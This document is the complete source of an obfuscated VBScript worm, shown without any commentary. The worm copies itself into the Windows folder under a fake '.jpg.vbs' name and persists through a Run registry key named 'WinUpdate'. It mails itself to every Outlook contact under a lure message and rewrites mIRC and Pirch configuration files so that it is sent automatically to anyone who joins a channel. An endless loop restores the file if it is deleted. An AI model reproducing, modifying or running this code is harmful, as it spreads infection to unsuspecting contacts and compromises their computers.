On Error Resume Next Set z4QcpWmqjIz= Createobject("scripting.filesystemobject") z4QcpWmqjIz.copyfile wscript.scriptfullname,z4QcpWmqjIz.GetSpecialFolder(0)& "\tvare2.jpg.vbs" Set k8R4w076L51 = CreateObject("WScript.Shell") k8R4w076L51.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate","wscript.exe "&z4QcpWmqjIz.GetSpecialFolder(0)& "\tvare2.jpg.vbs %" if k8R4w076L51.regread ("HKCU\software\tcherweak\mailed") <> "1" then mailni() end if if k8R4w076L51.regread ("HKCU\software\tcherweak\mirqued") <> "1" then mirkni "" end if if k8R4w076L51.regread ("HKCU\software\tcherweak\pirched") <> "1" then pirchni "" end if Set y5qpM0Jls2W= z4QcpWmqjIz.opentextfile(wscript.scriptfullname, 1) gOEwCK4anil= y5qpM0Jls2W.readall y5qpM0Jls2W.Close Do If Not (z4QcpWmqjIz.fileexists(wscript.scriptfullname)) Then Set MQi6o5nm1RM= z4QcpWmqjIz.createtextfile(wscript.scriptfullname, True) MQi6o5nm1RM.writegOEwCK4anil MQi6o5nm1RM.Close End If Loop Function mailni() On Error Resume Next Set y0fEc2zQ9W8 = CreateObject("Outlook.Application") If y0fEc2zQ9W8= "Outlook"Then Set Veo322Bh4wO=y0fEc2zQ9W8.GetNameSpace("MAPI") Set g6EG5VjaH2M= Veo322Bh4wO.AddressLists For Each d890YezW3Ud In g6EG5VjaH2M If d890YezW3Ud.AddressEntries.Count <> 0 Then RLHrEZ4m3M9 = d890YezW3Ud.AddressEntries.Count For HtxjRh05y4C= 1 To RLHrEZ4m3M9 Set iZvqD9BJ0j2 = y0fEc2zQ9W8.CreateItem(0) Set yBb40gJwYCs = d890YezW3Ud.AddressEntries(HtxjRh05y4C) iZvqD9BJ0j2.To = yBb40gJwYCs.Address iZvqD9BJ0j2.Subject = "kewl fotka" iZvqD9BJ0j2.Body = "Kukaj na tu supu, co som nasiel :-)" & vbcrlf & "" set Wr020f9GO9E=iZvqD9BJ0j2.Attachments Wr020f9GO9E.Add z4QcpWmqjIz.GetSpecialFolder(0)& "\tvare1.jpg" Wr020f9GO9E.Add z4QcpWmqjIz.GetSpecialFolder(0)& "\tvare2.jpg.vbs" iZvqD9BJ0j2.DeleteAfterSubmit = True If iZvqD9BJ0j2.To <> "" Then iZvqD9BJ0j2.Send k8R4w076L51.regwrite "HKCU\software\tcherweak\mailed", "1" End If Next End If Next end if End Function Function mirkni(Lmlt9hhpGSd) On Error Resume Next if Lmlt9hhpGSd = "" then if z4QcpWmqjIz.fileexists("c:\mirc\mirc.ini") then Lmlt9hhpGSd="c:\mirc" if z4QcpWmqjIz.fileexists("c:\mirc32\mirc.ini") then Lmlt9hhpGSd="c:\mirc32" kh2YG2w860J=k8R4w076L51.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir") if z4QcpWmqjIz.fileexists(kh2YG2w860J & "\mirc\mirc.ini") then Lmlt9hhpGSd=kh2YG2w860J & "\mirc" end if if Lmlt9hhpGSd <> "" then set neLk47iBNJT = z4QcpWmqjIz.CreateTextFile(Lmlt9hhpGSd & "\script.ini", True) neLk47iBNJT.WriteLine "[script]" neLk47iBNJT.writeline "n0=on 1:JOIN:#:{" neLk47iBNJT.writeline "n1= /if ( $nick == $me ) { halt }" neLk47iBNJT.writeline "n2= /." & chr(100) & chr(99) & chr(99) & " send $nick "&z4QcpWmqjIz.GetSpecialFolder(0)& "\tvare2.jpg.vbs" & vbCrLf & "n3=}" neLk47iBNJT.close k8R4w076L51.regwrite "HKCU\software\tcherweak\Mirqued", "1" end if end function function pirchni(XbAy08j7S7d) On Error Resume Next if XbAy08j7S7d="" then if z4QcpWmqjIz.fileexists("c:\pirch\Pirch32.exe") then XbAy08j7S7d="c:\pirch" if z4QcpWmqjIz.fileexists("c:\pirch32\Pirch32.exe") then XbAy08j7S7d="c:\pirch32" Qk2R1f733L9=k8R4w076L51.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir") if z4QcpWmqjIz.fileexists(Qk2R1f733L9 & "\pirch\Pirch32.exe") then XbAy08j7S7d=Qk2R1f733L9 & "\pirch\Pirch32.exe" end if if XbAy08j7S7d <> "" then set R79Va3zQezO= z4QcpWmqjIz.CreateTextFile(XbAy08j7S7d & "\events.ini", True) R79Va3zQezO.WriteLine "[Levels]" R79Va3zQezO.WriteLine "Enabled=1" R79Va3zQezO.WriteLine "Count=6" R79Va3zQezO.WriteLine "Level1=000-Unknowns" R79Va3zQezO.WriteLine "000-UnknownsEnabled=1" R79Va3zQezO.WriteLine "Level2=100-Level 100" R79Va3zQezO.WriteLine "100-Level 100Enabled=1" R79Va3zQezO.WriteLine "Level3=200-Level 200" R79Va3zQezO.WriteLine "200-Level 200Enabled=1" R79Va3zQezO.WriteLine "Level4=300-Level 300" R79Va3zQezO.WriteLine " 300-Level 300Enabled=1" R79Va3zQezO.WriteLine "Level5=400-Level 400 " R79Va3zQezO.WriteLine "400-Level 400Enabled=1" R79Va3zQezO.WriteLine "Level6=500-Level 500" R79Va3zQezO.WriteLine "500-Level 500Enabled=1" R79Va3zQezO.WriteLine "" R79Va3zQezO.WriteLine "[000-Unknowns]" R79Va3zQezO.WriteLine "UserCount=0" R79Va3zQezO.WriteLine "EventCount=0" R79Va3zQezO.WriteLine "" R79Va3zQezO.WriteLine "[100-Level 100]" R79Va3zQezO.WriteLine "User1=*!*@*" R79Va3zQezO.WriteLine "UserCount=1" R79Va3zQezO.writeline "Event1=ON JOIN:#:/" & chr(100) & chr(99) & chr(99) & " tsend $nick " & z4QcpWmqjIz.GetSpecialFolder(0) & "\tvare2.jpg.vbs" R79Va3zQezO.WriteLine "EventCount=1" R79Va3zQezO.WriteLine "" R79Va3zQezO.WriteLine "[200-Level 200]" R79Va3zQezO.WriteLine "UserCount=0" R79Va3zQezO.WriteLine "EventCount=0" R79Va3zQezO.WriteLine "" R79Va3zQezO.WriteLine "[300-Level 300]" R79Va3zQezO.WriteLine "UserCount=0" R79Va3zQezO.WriteLine "EventCount=0" R79Va3zQezO.WriteLine "" R79Va3zQezO.WriteLine "[400-Level 400]" R79Va3zQezO.WriteLine "UserCount=0" R79Va3zQezO.WriteLine "EventCount=0" R79Va3zQezO.WriteLine "" R79Va3zQezO.WriteLine "[500-Level 500]" R79Va3zQezO.WriteLine "UserCount=0" R79Va3zQezO.WriteLine "EventCount=0" R79Va3zQezO.close k8R4w076L51.regwrite "HKCU\software\tcherweak\pirched", "1" end if end function